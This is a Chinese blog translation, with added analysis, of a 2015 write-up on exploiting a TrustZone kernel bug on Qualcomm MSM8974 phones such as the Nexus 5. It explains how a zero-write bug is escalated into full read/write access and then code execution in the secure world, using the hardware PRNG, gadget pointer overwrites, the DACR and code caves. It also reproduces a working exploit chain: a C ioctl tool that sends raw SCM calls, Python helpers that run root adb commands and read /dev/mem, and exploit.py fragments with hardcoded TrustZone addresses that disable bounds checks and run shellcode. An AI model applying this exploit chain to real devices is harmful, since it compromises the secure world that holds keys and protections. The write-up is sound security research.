当前位置: 首页 > news >正文

tee漏洞学习-翻译-3:TrustZone exploit for MSM8974

原文:http://bits-please.blogspot.com/2015/08/full-trustzone-exploit-for-msm8974.html

在这篇博文中,我们将介绍利用上一篇文章中描述的 TrustZone 漏洞的完整过程。

在开发此漏洞时,我只使用了我值得信赖的(个人)Nexus 5 设备。这意味着下面写入的所有内存地址和其他特定信息均取自该设备。

如果有人想要重新创建下面描述的确切研究,或者出于任何其他原因,我当时设备的确切版本是:
google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys

漏洞原语

如果您阅读了上一篇文章,您已经知道该漏洞允许攻击者将零DWORD写入TrustZone 内核虚拟地址

为了使用这样的原语创建强大的漏洞利用,第一个行动方案是尝试利用这个弱原语变成更强的原语。

制作任意写入原语

由于 TrustZone 内核是在已知的物理地址处加载的,这意味着所有地址都是预先已知的。

此外,TrustZone 代码段映射有只读访问权限,并在安全启动过程中进行验证。这意味着一旦 TrustZone 的代码加载到内存中,理论上它就不能(也不应该)进行任何更改。
在这里插入图片描述
我们如何利用零写入原语来实现完整的代码执行?

我们可以尝试编辑 TrustZone 内核中的任何可修改数据(例如堆、堆栈或全局变量),这可能允许我们为更好的原语创建垫脚石。

正如我们在上一篇博客文章中提到的,通常,当调用 SCM 命令时,任何指向内存的参数都会由 TrustZone 内核进行验证。进行验证是为了确保物理地址在“允许的”范围内,而不是在 TrustZone 内核的已用内存范围内

这些验证听起来像是我们需要研究的主要候选者,因为如果我们能够禁用它们的操作,我们就能够利用其他 SCM 调用来创建不同类型的原语

TrustZone 内存验证

相关函数被作者重命名为如下tzbsp_validate_memory

这是该函数的反编译:
在这里插入图片描述
该函数实际上调用两个内部函数来执行验证,我们分别称为is_disallowed_rangeis_allowed_range

is_disallowed_range 禁止范围
在这里插入图片描述
正如您所看到的,该函数实际上按以下方式使用给定地址的前 12 位:

  • 高 7 位用作表的索引,包含 128 个值,每个值 32 位宽
  • 较低的 5 位用作要在先前索引位置处存在的 32 位条目内检查的位索引

在这里插入图片描述
换句话说,对于与要验证的存储器区域相交的每个1MB块,上述表中存在一个位,用于表示该数据区域是否是“不允许的”。如果给定区域内的任何块都是不允许的,则该函数将返回一个指示该值的值。否则,该函数将给定的内存区域视为有效。


  • 0xFE8304EC存储了一张表,该表中记录了内存不被允许访问的范围
  • 该表主要通过给定地址的前12位进行检测
  • 前12位的高7位:用于索引获取表中记录的值(32位宽)(一片32M内存区间不被允许访问的设置-通过bit进行比较)
  • 前12位的低5位:这块32M内存区间,第NM内存块是否设置为了不允许访问

is_allowed_range 允许范围
在这里插入图片描述

虽然有点长,但是这个功能也相当简单。本质上,它只是遍历一个包含具有以下结构的条目的静态数组:
在这里插入图片描述
该函数迭代表中位于给定内存地址的每个条目,当当前条目的“end_marker”字段为 0xFFFFFFFF 时停止。

由此类条目指定的每个范围都会经过验证,以确保允许该内存范围。
然而,正如上面的反编译所证明的,设置了“flags”字段第二位的条目将被跳过!
在这里插入图片描述

攻击验证函数

现在我们了解了验证函数的操作方式,让我们看看如何使用零写入原语来禁用它们的操作。

首先,如上所述,“is_disallowed_range”函数使用 32 位条目表,其中每个位对应于 1MB 内存块。设置为 1 的位表示不允许的块,设置为 0 的位表示允许的块

这意味着我们可以通过简单地使用零写入原语将表中的所有条目设置为零来轻松中和此函数。这样做时,所有内存块现在都将被标记为允许。

继续下一个功能; “is_allowed_range”。这有点棘手 - 如上所述,设置标志字段中第二位的块将根据给定地址进行验证。然而,对于未设置该位的每个块,不执行验证,并且跳过该块

由于在设备中存在的块表中,只有第一个范围与驻留在 TrustZone 内核内存范围内的内存范围相关,因此我们只需将该字段清零即可。这样做将导致验证函数跳过它,因此验证函数将接受 TrustZone 内核内的内存地址为有效。

制作写原语

现在我们已经摆脱了边界检查函数,我们可以自由地提供任何内存地址作为SMC调用的参数,并且可以毫无障碍地对其进行操作。

但是我们离创建写原语更近了吗?理想情况下,如果有一个 SCM 调用,我们可以控制写入受控位置的数据块,那就足够了。

不幸的是,在检查了所有 SCM 调用之后,似乎没有与此描述相匹配的候选者。

不过,无需担心!通过单个 SCM 调用无法实现的功能,可以通过将几个调用串在一起来实现。从逻辑上讲,我们可以将任意写入原语的创建分为以下步骤:

  • Create在受控位置创建不受控的数据
  • Control控制创建的数据片段,使其真正包含所需的内容
  • Copy将创建的数据复制到目标位置

Create 创造

尽管似乎没有一个 SCM 调用是创建受控数据的良好候选者,但有一个调用可用于在受控位置创建不受控数据:“tzbsp_prng_getdata_syscall”。

顾名思义,该函数可用于在给定位置生成随机字节缓冲区。 Android 通常使用它来利用 Snapdragon SoC 中存在的硬件 PRNG。

无论如何,SCM 调用都会接收两个参数;输出地址和输出长度(以字节为单位)。

一方面,这很棒 - 如果我们(在某种程度上)信任硬件 RNG,我们可以非常确定对于使用此调用生成的每个字节,整个字节值范围都可以作为输出。

另一方面,这意味着我们无法控制实际生成的数据。

Control 控制

尽管使用 PRNG 时任何输出都是可能的,但也许我们可以通过某种方式验证生成的数据实际上是我们希望写入的数据。

为此,让我们考虑以下游戏 - 假设您有一台有四个插槽的老虎机,每个插槽有 256 个可能的值。每次拉动控制杆时,所有插槽都会同时旋转,并呈现随机输出。您需要拉动控制杆多少次才能使结果与您事先选择的值完美匹配?嗯,有 4294967296 (2^32) 个
可能的值,因此每次拉动控制杆时,结果与您想要的结果相匹配的可能性约为 10^(-10)。听起来你要在这里待一段时间…
在这里插入图片描述
但如果你可以作弊呢?例如,如果每个插槽都有不同的控制杆怎么办?这样,每次拉动时您只能更改单个插槽的值。这意味着现在每次拉动杠杆时,结果与该插槽的所需值相匹配的可能性为 1/256。
在这里插入图片描述
听起来游戏现在容易多了,对吧?但容易多少呢?在概率论中,单个“游戏”的这种分布称为伯努利分布,实际上只是一种奇特的方式,表示每个实验都有一组成功概率,用 p 表示,所有其他结果都标记为所有失败,发生的概率为 1-p。

假设我们想要 90% 的成功机会,事实证明,在游戏的原始版本中,我们需要大约 10^8 次尝试(!),但如果我们作弊,则每个插槽只需要大约 590 次尝试,其数量级要小几个数量级。

那么您是否弄清楚这一切与我们的写入原语有何关系?事情是这样的:
首先,我们需要找到一个 SCM 调用,该调用从 TrustZone 内核内存中的可写内存位置向调用者返回一个值。

这样的功能有很多。其中一种候选者是“tzbsp_fver_get_version”调用。 “正常世界”可以使用此函数来检索不同 TrustZone 组件的内部版本号。它通过接收一个整数(表示应检索其版本的组件)以及应写入版本代码的地址来实现此目的。然后,该函数只需遍历包含组件 ID 和版本代码的静态数组对。当找到具有给定 ID 的组件时,版本代码将写入输出地址。
在这里插入图片描述
现在,使用“tzbsp_prng_getdata_syscall”函数,我们可以开始操作任何版本代码的值,一次一个字节。为了知道我们在每次迭代中生成的字节的值,我们可以简单地调用前面提到的SCM,同时传入与我们正在修改其版本代码的组件相匹配的组件ID,并提供一个指向的返回地址可读(即不在 TrustZone 中)的内存位置。

我们可以重复前两个步骤,直到对生成的字节感到满意为止,然后再继续生成下一个字节。这意味着经过几次迭代后,我们可以确定特定版本代码的值与我们想要的 DWORD 相匹配。

Copy 复制

最后,我们希望将生成的值写入受控位置。幸运的是,这一步非常简单。我们需要做的只是调用“tzbsp_fver_get_version”SCM 调用,但现在我们可以简单地提供目标地址作为返回地址参数。这将导致该函数将生成的 DWORD 写入受控位置,从而完成我们的写入小工具。

现在怎么办?

从现在开始,事情变得容易一些。首先,虽然我们有一个write原语,但是使用起来还是相当麻烦。如果我们能够使用前一个小工具创建一个更简单的小工具,也许会更容易一些。

我们可以通过创建自己的 SCM 调用来做到这一点,这只是一个 write-what-where 小工具。
这听起来可能很棘手,但实际上非常简单。

在上一篇博客文章中,我们提到所有 SCM 调用都是通过一个大数组间接调用的,其中包含指向每个 SCM 调用的指针(以及它们提供的参数数量、名称等)。

这意味着我们可以使用之前创建的 write gadget 将我们认为“不重要”的某些 SCM 调用的地址更改为 write gadget 已经存在的地址。快速浏览一下 TrustZone 内核的代码就会发现有很多这样的小工具。下面是此类小工具的一个示例:
在这里插入图片描述

这段代码只是将 R0 中的值写入 R1 中的地址,然后返回。

最后,能够读取 TrustZone 内核虚拟地址空间内的任何内存位置也可能很方便。这可以通过使用与上述完全相同的方法创建读取小工具来代替另一个“不重要”的 SCM 调用来实现。这个小工具实际上比写入小工具少见得多。然而,在 TrustZone 内核中发现了这样一个小工具:

在这里插入图片描述

该小工具返回从 R0 中的地址读取的值,偏移量为 R1。惊人的。

Writing new code 编写新代码

在此阶段,我们可以对 TrustZone 内核内存进行完全读写访问。我们尚不具备在 TrustZone 内核中执行任意代码的能力。
当然,有人可能会说我们可以在内核中找到不同的小工具,并将它们串在一起以创建任何想要的效果。
但如果手动完成,这是相当累的(我们需要找到很多小工具),并且很难自动完成。

有几种可能的方法可以解决这个问题。

一种可能的方法可能是在“正常世界”中编写一段代码,并从“安全世界”分支到它。
这听起来是一个很简单的方法,但实际上说起来容易做起来难。

正如第一篇博文中提到的,当处理器在安全模式下运行时,即 SCR(安全配置寄存器)中的 NS(非安全)位被关闭时,它只能执行标记为“安全”的页面在MMU使用的转换表中(即NSbit关闭)。

在这里插入图片描述
这意味着,为了执行驻留在“正常世界”中的代码块,我们首先必须修改 TrustZone 内核的转换表,以便将我们编写代码片段的地址映射为安全的。

虽然这一切都是可能的,但有点令人厌烦。

另一种方法可能是在 TrustZone 内核的代码段中编写新代码,或覆盖现有代码。
这还有一个优点是允许我们修改内核中的现有行为,这在以后也可以派上用场。

然而,乍一看,这听起来并不比以前的方法更容易实现。毕竟,TrustZone 内核的代码段被映射为只读,并且肯定不可写。

然而,这只是一个小小的挫折!实际上,这可以通过使用 ARM MMU 的一个称为“域”的便捷功能来解决,而无需修改转换表。

在 ARM 翻译表中,每个条目都有一个列出其权限的字段,以及一个表示翻译所属“域”的字段。有 16 个域,每个翻译都属于其中的一个。

在ARM MMU 中,有一个寄存器称为DACR(域访问控制寄存器)。这个 32 位寄存器有 16 对位,每个域一对,用于指定对于给定域的转换是否应该生成读访问、写访问、两者或都不生成错误。
在这里插入图片描述
每当处理器尝试访问给定内存地址时,MMU 首先使用该地址的给定转换的访问权限检查是否可以进行访问。
如果允许访问,则不会产生故障。

否则,MMU 检查 DACR 中对应于给定域的位是否已设置。如果是,则故障被抑制并允许访问。

这意味着,简单地将 DACR 的值设置为 0xFFFFFFFF 实际上会导致 MMU 启用对任何映射内存地址的读取和写入访问,而不会生成故障(更重要的是,无需修改转换表)。

但是我们如何设置DACR呢?显然,在 TrustZone 内核初始化期间,它还显式地将 DACR 值设置为预定值 (0x55555555),如下所示:
在这里插入图片描述
然而,我们可以简单地分支到初始化函数中的下一个操作码,同时在 R0 中提供我们自己的值,从而使 DACR 设置为我们的控制值。

现在 DACR 已设置,路径就全部清晰了 - 我们可以简单地在 TrustZone 内核中编写或覆盖代码。
为了使事情变得更容易(并且破坏性更小),最好在 TrustZone 内核未使用的位置编写代码。其中一个候选者是“代码洞”。

代码洞只是未使用的区域(通常在分配的内存区域的末尾)(即不包含代码),但仍然被映射且有效。它们通常是由内存映射具有粒度这一事实引起的,因此在映射段的末尾经常存在内部碎片。

TrustZone 内核中有几个这样的代码洞,这使我们能够在其中编写小段代码并执行它们,而麻烦最少。

把它们放在一起

所以这个漏洞有点复杂。以下是我们必须完成的所有阶段的概要:

  • 使用零写入原语禁用内存验证功能
  • 使用 TrustZone PRNG 在受控位置制作所需的 DWORD
  • 通过读取相应的版本代码来验证精心制作的DWORD
  • 将精心设计的版本代码写入现有 SCM 调用的函数指针的位置(通过这样做创建快速写入小工具)
  • 使用快速写入小工具创建读取小工具
  • 使用快速写入小工具将函数指针写入小工具,使我们能够修改 DACR
  • 修改DACR以完全启用(0xFFFFFFFF)
  • 将代码写入 TrustZone 内核中的代码洞
  • Execute! 😃

The Code

我已经为此漏洞编写了一个漏洞利用程序,其中包括 Nexus 5 所需的所有符号(带有预先声明的指纹)。

首先,为了使漏洞能够将所需的精心设计的 SCM 调用发送到 TrustZone 内核,我创建了 msm-hammerhead 内核的修补版本,它添加了此类功能并将其公开给用户空间 Android。

我选择通过向现有驱动程序 QSEECOM(在第一篇博文中提到)添加一些新的 IOCTL 来实现此目的,该驱动程序是用于与 TrustZone 内核交互的 Qualcomm 驱动程序。这些 IOCTL 使调用者能够向 TrustZone 内核发送包含任意数据的“原始”SCM 调用(常规或原子)。

您可以在这里找到所需的内核修改。

对于那些使用 Nexus 5 设备的人,我个人建议您遵循 Marcin Jabrzyk 的精彩教程 - 这里(这是一个完整的教程,描述了如何编译和启动自定义内核而不将其刷新到设备)。(链接失效了,搜索 building-and-booting-nexus-5-kernel)

使用修改后的内核启动设备后,您将需要一个可以使用新添加的 IOCTL 的用户空间应用程序,以便将 SCM 发送到内核。

我已经编写了这样一个应用程序,您可以在这里获取它。
最后,漏洞本身是用 python 编写的。它使用用户空间应用程序通过自定义内核将 SCM 调用直接发送到 TrustZone 内核,并允许在内核中执行任何任意代码。

您可以在此处找到完整的漏洞利用代码。

使用漏洞

使用该漏洞非常简单。这是你必须做的:

  • 使用修改后的内核启动设备(链接失效了,搜索 building-and-booting-nexus-5-kernel)
  • 编译 FuzzZone 二进制文件并将其放置在 /data/local/tmp/ 下
  • 在 shellcode.S 文件中写入任何 ARM 代码
  • 执行 build_shellcode.sh 脚本以创建 shellcode 二进制文件
  • 执行exploit.py以在TrustZone内核中运行您的代码

Affected Devices 受影响的设备

截至披露时,该漏洞影响了所有配备 MSM8974 SoC 的设备。

分析漏洞利用代码

https://github.com/laginimaineb/fuzz_zone/

对qseecom驱动ioctl调用的简单封装

  • QSEECOM_IOCTL_SEND_RAW_SCM
  • QSEECOM_IOCTL_SEND_ATOMIC_SCM
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include "qseecom.h"struct __attribute__((packed)) qseecom_send_raw_scm_req {uint32_t svc_id;uint32_t cmd_id;void *cmd_req_buf; /* in */unsigned int cmd_req_len; /* in */void *resp_buf; /* in/out */unsigned int resp_len; /* in/out */
};struct __attribute__((packed)) qseecom_send_atomic_scm_req {uint32_t svc_id;uint32_t cmd_id;uint32_t num_args;uint32_t arg1;uint32_t arg2;uint32_t arg3;uint32_t arg4;
};#define QSEECOM_IOCTL_SEND_RAW_SCM \_IOWR(QSEECOM_IOC_MAGIC, 21, struct qseecom_send_raw_scm_req)#define QSEECOM_IOCTL_SEND_ATOMIC_SCM \_IOWR(QSEECOM_IOC_MAGIC, 24, struct qseecom_send_atomic_scm_req)int main(int argc, char **argv) {//Reading the command-line argumentsif (argc < 2) {printf("USAGE: fuzz_zone <MODE>\n");return -EINVAL;}char* mode = argv[1];//Opening the QSEECOM deviceint fd = open("/dev/qseecom", O_RDONLY);if (fd < 0) {perror("Failed to open /dev/qseecom");return -errno;}printf("FD: %d\n", fd);//Checking if this is an atomic callif (strstr(mode, "reg") == mode) {//Reading the arguments from the userif (argc < 4) {printf("USAGE: %s reg <SVC_ID> <CMD_ID> <NUM_ARGS> <HEX ARGS...>\n", argv[0]);return -EINVAL;}struct qseecom_send_atomic_scm_req req;req.svc_id = atoi(argv[2]);req.cmd_id = atoi(argv[3]);req.num_args = atoi(argv[4]);if (req.num_args > 4) {printf("Illegal number of arguments supplied: %d\n", req.num_args);return -EINVAL;}if (req.num_args > 0)req.arg1 = (unsigned)strtoll(argv[5], NULL, 16);if (req.num_args > 1)req.arg2 = (unsigned)strtoll(argv[6], NULL, 16);if (req.num_args > 2)req.arg3 = (unsigned)strtoll(argv[7], NULL, 16);if (req.num_args > 3)req.arg4 = (unsigned)strtoll(argv[8], NULL, 16);int res = ioctl(fd, QSEECOM_IOCTL_SEND_ATOMIC_SCM, &req);printf("IOCTL RES: %u\n", (unsigned)res);if (res < 0) {perror("Failed to send ioctl");}}	//Checking if this is a raw callelse if (strstr(mode, "raw") == mode) {if (argc != 6) {printf("USAGE: %s raw <SVC_ID> <CMD_ID> <REQ_BUF> <RESP_LEN>\n", argv[0]);return -EINVAL;}uint32_t svc_id = atoi(argv[2]);uint32_t cmd_id = atoi(argv[3]);char* hex_cmd_buf = argv[4];uint32_t resp_len = atoi(argv[5]);//Converting the hex string to a binary stringunsigned cmd_req_len = strlen(hex_cmd_buf)/2;char* bin_cmd_req = malloc(cmd_req_len);for (int i=0; i<cmd_req_len; i++)sscanf(hex_cmd_buf+i*2,"%2hhx", bin_cmd_req+i);//Sending the requeststruct qseecom_send_raw_scm_req raw_req;raw_req.svc_id = svc_id;raw_req.cmd_id = cmd_id;raw_req.cmd_req_len = cmd_req_len;raw_req.cmd_req_buf = bin_cmd_req;raw_req.resp_buf = malloc(resp_len);memset(raw_req.resp_buf, 'B', resp_len); //Visible garbage to see the actual changeraw_req.resp_len = resp_len;int res = ioctl(fd, QSEECOM_IOCTL_SEND_RAW_SCM, &raw_req);if (res < 0) {perror("Failed to send raw SCM ioctl");return -errno;}printf("IOCTL RES: %d\n", res);//Printing the response bufferprintf("Response Buffer:\n");uint32_t i;for (i=0; i<raw_req.resp_len; i++)printf("%02X", ((unsigned char*)raw_req.resp_buf)[i]);printf("\n");}else {printf("Unknown mode %s!\n", mode);return -EINVAL;}	
}

https://github.com/laginimaineb/MSM8974_exploit

adb.py
通过adb调用fuzz_zone中封装好的驱动ioctl调用

import subprocess, os, re
from consts import *def execute_privileged_command(command_str):'''Executes the given privileged command on the device'''proc = subprocess.Popen(["adb", "shell", "su", "-c", "\"%s\"" % command_str], stdout=subprocess.PIPE)proc.wait()return proc.stdout.read()def pull_file(remote_path, local_path):'''Pulls the remote path from the device to the local path'''proc = subprocess.Popen(["adb", "pull", remote_path, local_path], stdout=subprocess.PIPE)proc.wait()def dev_mem_read_memory(address, length):'''Reads memory from the device using /dev/mem'''output = execute_privileged_command("dd if=/dev/mem of=%s bs=1 count=%d skip=%d && hd %s" %(REMOTE_TEMP_DUMP_PATH, length, address, REMOTE_TEMP_DUMP_PATH))return "".join(re.findall("^[0-9a-f]{8}: (.*?) s", output, re.MULTILINE)).replace(" ","").decode("hex")

scm.py 再对adb.py驱动ioctl调用进行一层封装
consts.py 常量、字符串定义
shellcode.S 空文件,读者可自由编写
symbols.py trustzone内核的gadget
exploit.py 核心exp

绕过tzbsp_validate_memory检测

#Disabling bounds checks, if neccessary
print "[+] Disabling bounds checks"
disable_bounds_checks()#The DWORD that needs to be nullified in order to pass all bounds checks
BOUNDS_CHECK_DWORD_ADDRESS = 0xFE828444
BOUNDS_CHECKS_RANGE_START = 0xFE8304EC
BOUNDS_CHECKS_RANGE_END = 0xFE8306E8def disable_bounds_checks():'''Disables the checks performed by each of the bounds checking methods.'''zero_dword(BOUNDS_CHECK_DWORD_ADDRESS)for addr in range(BOUNDS_CHECKS_RANGE_START, BOUNDS_CHECKS_RANGE_END+1, 4):zero_dword(addr)

通过Create/Control/Copy制作写入原语-目的-制作更简单的写入原语

将tzbsp_get_diag调用替换为一个write gadget

        #Writing the address of the write gadget to the location of the write gadgetprint "[+] Overwriting the tzbsp_get_diag pointer address with a write gadget"write_dword_slow(TZBSP_GET_DIAG_POINTER_ADDRESS, STR_R0_R1_BX_LR)def write_dword_slow(address, dword):'''Writes the given DWORD to the given physical address, including TrustZone addresses'''#First of all, we need to start fuzzing the value using the PRNG call into the dump zone#The dump zone used is the pointer returned from the fver_get_version call, with version code 0.#Once we manage to fuzz the DWORD successfully, we can use the fver_get_version call to write that#DWORD to arbitrary memory#NOTE: For this method to work, the bounds checks must be disabled!        dword_bytes = struct.pack("<I", dword)for i in range(0, 4):wanted_byte = dword_bytes[i]current_dword = fver_get_version(0)print current_dword.encode("hex")print "Wanted %02X at idx %d, current value: %08X" % (ord(wanted_byte), i, struct.unpack("<I", current_dword)[0])while current_dword[i] != wanted_byte:write_random_value(VERSION_CODE_0_DWORD_ADDRESS+i, 1)current_dword = fver_get_version(0)print "Wanted %02X at idx %d, current value: %02X" % (ord(wanted_byte), i, ord(current_dword[i]))print "Got a byte!"print "Prepared values! Writing to given address"execute_register_scm(SCM_SVC_INFO, TZ_INFO_GET_FEATURE_VERSION_ID, (0, address, 4))  

Restoring the bounds check DWORD

        #Restoring the bounds check DWORDprint "[+] Restoring bounds check DWORD"write_dword_fast(BOUNDS_CHECK_DWORD_ADDRESS, 0x2)print "[+] Restored! (It is now safe to turn on the screen)"

利用write gadget修改tzbsp_security_allows_memdump为set dacr gadget

        #Setting the DACR to enable all domain permissionsprint "[+] Enabling all domain permissions"write_dword_fast(TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS, SET_DACR)set_dacr(0xFFFFFFFF)

利用write gadget修改tzbsp_security_allows_memdump为read gadget

        #Writing the read gadget using the write gadgetprint "[+] Overwriting the tzbsp_security_allows_memdump pointer with a read gadget"write_dword_fast(TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS, LDR_R1_R1_STR_R1_R0_BX_LR)print "[+] Gained full R/W to all memory (including TrustZone kernel code!)"

将shellcode写入TrustZone 内核

        #Writing some code to a code caveshellcode = open(SHELLCODE_PATH, 'rb').read()if len(shellcode) > CODE_CAVE_SIZE:print "[-] Not enough space to write shellcode to code cave (%d/%d)" % (len(shellcode), CODE_CAVE_SIZE)returnprint "[+] Writing shellcode to code cave (cave size: %d, shellcode size: %d)" % (CODE_CAVE_SIZE, len(shellcode))write_range(shellcode, CODE_CAVE_ADDRESS)print read_range(CODE_CAVE_ADDRESS, CODE_CAVE_ADDRESS+len(shellcode)).encode("hex")#Overwriting a pointer to point to the newly written codeprint "[+] Overwriting tzbsp_security_allows_memdump pointer with shellcode address"print "Code address: %08X" % (CODE_CAVE_ADDRESS + IS_SHELLCODE_THUMB)write_dword_fast(TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS, CODE_CAVE_ADDRESS + IS_SHELLCODE_THUMB) #Adding one for thumb, if neccessaryprint "[+] Executing shellcode"execute_register_scm(SCM_SVC_UTIL, TZ_UTIL_SEC_ALLOWS_MEMDUMP, (0,0))print "[+] Done!"print dev_mem_read_memory(0xF000, 4).encode("hex")

相关文章:

tee漏洞学习-翻译-3:TrustZone exploit for MSM8974

原文&#xff1a;http://bits-please.blogspot.com/2015/08/full-trustzone-exploit-for-msm8974.html 在这篇博文中&#xff0c;我们将介绍利用上一篇文章中描述的 TrustZone 漏洞的完整过程。 在开发此漏洞时&#xff0c;我只使用了我值得信赖的&#xff08;个人&#xff0…...

rust递归遍历磁盘目录及文件

Std库实现 //遍历dir目录&#xff0c;找出修改日期距离当前超过age天的文件名称&#xff0c;存入file_list中 fn visit_dir(dir: &Path, file_list: &mut Vec<String>, age: u64) -> io::Result<()> {if dir.is_dir() {for entry in fs::read_dir(dir)…...

C语言每日一题(56)平衡二叉树

力扣网 110 平衡二叉树 题目描述 给定一个二叉树&#xff0c;判断它是否是高度平衡的二叉树。 本题中&#xff0c;一棵高度平衡二叉树定义为&#xff1a; 一个二叉树每个节点 的左右两个子树的高度差的绝对值不超过 1 。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,…...

Flutter Android开发 梳理Google Material Design颜色体系

前言 做安卓开发&#xff08;Kotlin语言&#xff09;&#xff0c;Flutter开发的人员应该都听说过谷歌一直推崇的Material Design&#xff0c;而Material Design Color是其推崇的颜色体系&#xff0c;具体来说&#xff0c;Material Design Color是一套旨在帮助设计师和开发者创…...

每日五道java面试题之java基础篇(六)

目录&#xff1a; 第一题&#xff1a;Java 创建对象有哪⼏种⽅式&#xff1f;第二题 .Integer a 127&#xff0c;Integer b 127&#xff1b;Integer c 128&#xff0c;Integer d 128&#xff1b;相等吗?第三题.Object 类的常⻅⽅法?第四题 List和Set的区别第五题 ArrayList和…...

c++ STL系列——(五)map

目录 引言 特点 包含头文件 基本特性 基本操作 插入元素 访问元素 移除元素 检查是否包含某个键 获取元素数量 高级特性 迭代器 自定义比较函数 实际应用 统计字符出现次数 缓存最近访问的元素 总结 引言 在C中&#xff0c;标准模板库&#xff08;STL&#xf…...

Huggingface 文档翻译完毕

Accelerate 0.27 中文文档音频课程文档AutoTrain 中文文档AWS 中文文档竞赛中文文档Diffusers 0.26 中文文档深度强化学习课程文档数据集服务器中文文档Datasets 2.17 中文文档 Evaluate 0.4 中文文档Huggingface.js 中文文档Hub 中文文档Hub 客户端库 JS 0.20 中文文档推理 AP…...

C++中类的6个默认成员函数 【拷贝构造函数】

文章目录 拷贝构造函数的使用拷贝构造对于自定义类型【浅拷贝】深拷贝拷贝构造函数典型调用场景 拷贝构造函数的使用 在前几章学习对象的时候&#xff0c;我们有的时候需要一个与已存在对象一某一样的新对象 那在创建对象时&#xff0c;可否创建一个与已存在对象一某一样的新对…...

【前端高频面试题--Vuex下篇】

&#x1f680; 作者 &#xff1a;“码上有前” &#x1f680; 文章简介 &#xff1a;前端高频面试题 &#x1f680; 欢迎小伙伴们 点赞&#x1f44d;、收藏⭐、留言&#x1f4ac;前端高频面试题--Vuex篇 往期精彩内容Vuex 的原理Vuex中action和mutation的区别Vuex 和 localStor…...

MySQL性能调优篇(4)-查询语句的优化与重构

MySQL数据库查询语句的优化与重构 MySQL是一种常用的关系型数据库管理系统&#xff0c;广泛应用于Web开发中。在实际应用中&#xff0c;对数据库查询语句的优化和重构是提高应用性能和响应速度的重要手段。本文将介绍一些常见的优化技巧和重构方法&#xff0c;帮助开发者提高数…...

LInux、源码编译安装

步骤&#xff1a; 步骤1&#xff1a;安装开发工具gcc与make&#xff0c;释放源代码至指定目录 yum -y install gcc make 步骤2&#xff1a;tar解包&#xff0c;释放源代码至指定目录 tar -xf /root/tools.tar.gz -C /usr/local 步骤3&#xff1a;./configure 配置&#xff0c;…...

wordpress好的网站主题

有什么好的网站主题&#xff0c;都分享在这里了。 蓝色风格的wordpress模板&#xff0c;好的wordpress网站主题&#xff0c;需要既好看&#xff0c;又好用。 https://www.zhanyes.com/qiye/6305.html 血红色的好看的wordpress主题&#xff0c;布局经典&#xff0c;设计好的&am…...

【Java多线程】对进程与线程的理解

目录 1、进程/任务&#xff08;Process/Task&#xff09; 2、进程控制块抽象(PCB Process Control Block) 2.1、PCB重要属性 2.2、PCB中支持进程调度的一些属性 3、 内存分配 —— 内存管理&#xff08;Memory Manage&#xff09; 4、线程&#xff08;Thread&#xff09;…...

C# CAD交互界面-自定义面板集-查找定位(六)

运行环境 vs2022 c# cad2016 调试成功 一、代码说明 1. 类成员变量声明&#xff1a; List<ObjectId> objectIds new List<ObjectId>(); // 用于存储AutoCAD实体对象的ObjectId列表 private static Autodesk.AutoCAD.Windows.PaletteSet _ps2; // 自定义浮动面板…...

5.7 BCC工具之disksnoop.py解读

一,disksnoop.py简介 disksnoop工具用于追踪块设备的I/O操作的延迟,它会在每次I/O执行完成后打印一行摘要信息。我们根据这些摘要日志,来分析当前的I/O操作是否存在延迟,以判断I/O是否达到了瓶颈。 二,代码示例 #!/usr/bin/python # # disksnoop.py Trace block device…...

QT:实现图片选择器

一、效果图 二、用到的类 qApp&#xff1a;可以快速获取到项目目录位置。 QSettings &#xff1a;编写config文件&#xff0c;记录上次打开图片的位置&#xff0c;下次打开图片会从上次的位置查找图片。 QPixmap&#xff1a;用于图片的缩放&#xff0c;防止图片过小&#xff0…...

LLM大模型相关问题汇总---包括问题与答案

一、基础篇 1. 目前主流的开源模型体系有哪些&#xff1f; - Transformer体系&#xff1a;由Google提出的Transformer模型及其变体&#xff0c;如BERT、GPT等。 - PyTorch Lightning&#xff1a;一个基于PyTorch的轻量级深度学习框架&#xff0c;用于快速原型设计和实验…...

自动化测试定位不到元素怎么办?

1.动态id定位不到元素 分析原因&#xff1a;每次打开页面&#xff0c;ID都会变化。用ID去找元素&#xff0c;每次刷新页面ID都会发生变化。 解决方案&#xff1a;推荐使用xpath的相对路径方法或者cssSelector查找到该元素。 2.iframe原因定位不到元素 分析原因&#xff1a;…...

1 scala集合-数组

1 定长数组 定长数组&#xff0c;是指数组长度不可变。定义定长数组的方法有如下两种&#xff1a; 方法1&#xff1a; var/val variable_name new Array[元素类型](数组长度) // 通过制定长度定义例如&#xff0c;定义一个长度为20的Int 类型数组。 scala> val a new …...

双场板功率GaN HEMT电容模型以精确模拟开关行为

标题&#xff1a;Capacitance Modeling in Dual Field-Plate Power GaN HEMT for Accurate Switching Behavior&#xff08;TED.16年&#xff09; 摘要 本文提出了一种基于表面电位的紧凑模型&#xff0c;用于模拟具有栅极和源极场板&#xff08;FP&#xff09;结构的AlGaN/G…...

OpenCV Mat实例详解 四

OpenCV Mat实例详解三中详细介绍来了OpenCV Mat类的公有静态成员函数&#xff0c;下面介绍OpenCV Mat类的其他常用成员函数。 OpenCV Mat类常用成员函数 Mat & adjustROI (int dtop, int dbottom, int dleft, int dright)&#xff1b; dtop ROI 上边界移动值&#xff0c;如…...

Fluke ADPT 连接器新增对福禄克万用 Fluke 106 的支持

所需设备&#xff1a; 1、Fluke ADPT连接器&#xff1b; 2、Fluke 106&#xff1b; Fluke 106 拆机图&#xff1a; 显示界面如下图&#xff1a; 并且可以将波形导出到EXCEL: 福禄克万用表需要自己动手改造&#xff01;&#xff01;&#xff01;...

算法-3-基本的数据结构

单双链表 1.单链表双链表如何反转 import java.util.ArrayList; import java.util.List;public class Code01_ReverseList {public static class Node {public int value;public Node next;public Node(int data) {value data;}}public static class DoubleNode {public int…...

探秘Java反射:灵活编程的利器

前言 大家好&#xff0c;我是chowley&#xff0c;不知道大家在学习Java的过程中有没有听过反射的概念&#xff0c;今天我来总结一下我心中的Java反射。 在Java编程中&#xff0c;反射是一种强大的工具&#xff0c;它允许程序在运行时检查和操作类、方法、属性等&#xff0c;而…...

记录 | ubuntu pyqt5 pycharm配置

